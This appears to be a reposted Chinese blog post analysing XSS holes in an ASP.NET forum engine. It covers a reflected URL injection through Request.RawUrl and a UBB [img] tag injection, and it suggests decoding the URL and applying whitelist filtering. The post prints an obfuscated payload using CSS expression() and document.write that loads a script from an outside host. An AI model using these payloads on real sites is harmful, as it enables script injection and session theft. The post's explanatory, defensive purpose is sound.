XSS跨站脚本实例

简介:

刚毕业时候的做的报告,整理文档的时候搜了出来,可能不是很正确仅供参考了


 URL注入  

例如在页面上输入

http://localhost/SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1-->'");></SCRIPT></style></title></textarea><SCRIPT>alert("haha")</SCRIPT>

 

查看源文件里的会有这样的代码

                                                       

href="http://localhost/SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1-->'");></SCRIPT></style></title></textarea><SCRIPT>alert("haha")</SCRIPT>"><FONT size="4">
前面蓝色的部分被截断了。

部分页面源代码是这样的

   

 

其他页面也有类似的代码而且被注入的地方也是这些地方例如

是这段代码<FORM id="Frm" name="Frm" action='UserLogin.aspx?ru=<%=Request.RawUrl%>' method="post" onsubmit="javascript:return CheckForm();">

一些页面是

<a href="<%=Request.RawUrl%>" class="gensmall">会员列表  

 

所以考虑到这些可以采取安全部的意见使用白名单过滤:

先对URL的内容进行解码这样可以转义相当一部分玩家的花招
string strXss= Server.UrlDecode(this.Request.RawUrl.ToString());   然后使用白名单过滤:
只保留/HTTP://&?=%.,数字,字母,汉字,下划线。

 


 XSS表单注入

 

 UBB解析前(仅讨论针对IMG标签)

  注入字符串:
"\r\n[img]http://[color=a\t\twidth=00\t\tSTYLE=a:expr/&#92;/Ession(docum&#00;ent.write(\"&#60;scr&#00;ipt/&#92;/src=http://sd0o.com.cn/1000y.jpg&#62;&#60;/scr&#00;ipt&#62;\"))\t=]\t[/color][/img]\r\n

 

UBB解析过程:

解析前字符串:

"<br>[img]http://[color=a\t\twidth=00\t\tSTYLE=a:expr/\\/Ession(docum\0ent.write(&quot;&lt;scr\0ipt/\\/src=http://sd0o.com.cn/1000y.jpg&gt;&lt;/scr\0ipt&gt;&quot;))\t=]\t[/color][/img]<br>"

正则表达式:

@"\[img\](?<img>.+?)\[\/img\]"

要替换的字符串:

"<a href='${img}' target='_blank'><img src='${img}' border=0 bbimg(this)' onload=\"javascript:setTimeout('if(this.width>790)this.style.width=790',1000);\" alt='Ctrl + 滚轮可以缩放图片大小'></a>"
   
替换后表达式
"<br><a href='http://[color=a\t\twidth=00\t\tSTYLE=a:expr/**/Ession(docum\0ent.write(&quot;&lt;scr\0ipt/**/src=http://sd0o.com.cn/1000y.jpg&gt;&lt;/scr\0ipt&gt;&quot;))\t=]\t[/color]' target='_blank'><img src='http://[color=a\t\twidth=00\t\tSTYLE=a:expr/**/Ession(docum\0ent.write(&quot;&lt;scr\0ipt/**/src=http://sd0o.com.cn/1000y.jpg&gt;&lt;/scr\0ipt&gt;&quot;))\t=]\t[/color]' border=0 bbimg(this)' onload=\"javascript:setTimeout('if(this.width>790)this.style.width=790',1000);\" alt='Ctrl + 滚轮可以缩放图片大小'></a><br>"



本文转自 熬夜的虫子  51CTO博客,原文链接:http://blog.51cto.com/dubing/712454


相关文章
|
6月前
|
存储 安全 JavaScript
渗透攻击实例-xss跨站脚本攻击
渗透攻击实例-xss跨站脚本攻击
|
9天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。
|
2月前
|
存储 安全
第二轮学习笔记:XSS跨站脚本漏洞
第二轮学习笔记:XSS跨站脚本漏洞
24 0
|
2月前
|
存储 安全 JavaScript
HW常见攻击方式 --XSS跨站脚本攻击
HW常见攻击方式 --XSS跨站脚本攻击
26 0
|
4月前
|
安全 JavaScript 前端开发
Springboot抵御即跨站脚本(XSS)攻击
Springboot抵御即跨站脚本(XSS)攻击
|
9月前
|
资源调度 JavaScript
vue项目:解决v-html可能带来的XSS是跨站脚本攻击
vue项目:解决v-html可能带来的XSS是跨站脚本攻击
849 0
|
10月前
|
存储 JSON JavaScript
跨站点脚本(XSS)的介绍
跨站点脚本(XSS)的介绍
|
1月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
21 0
|
3月前
|
存储 JSON 前端开发
【面试题】XSS攻击是什么?
【面试题】XSS攻击是什么?
|
3月前
|
存储 开发框架 安全
如何处理预防XSS漏洞攻击问题
防止XSS攻击需要从多个方面入手,包括输入验证和过滤、输出编码、设置正确的HTTP头部、使用最新的安全框架和库、定期进行安全审计和漏洞扫描以及培训和意识提升等。只有综合运用这些措施,才能有效地防止XSS攻击,保护网站和用户的安全。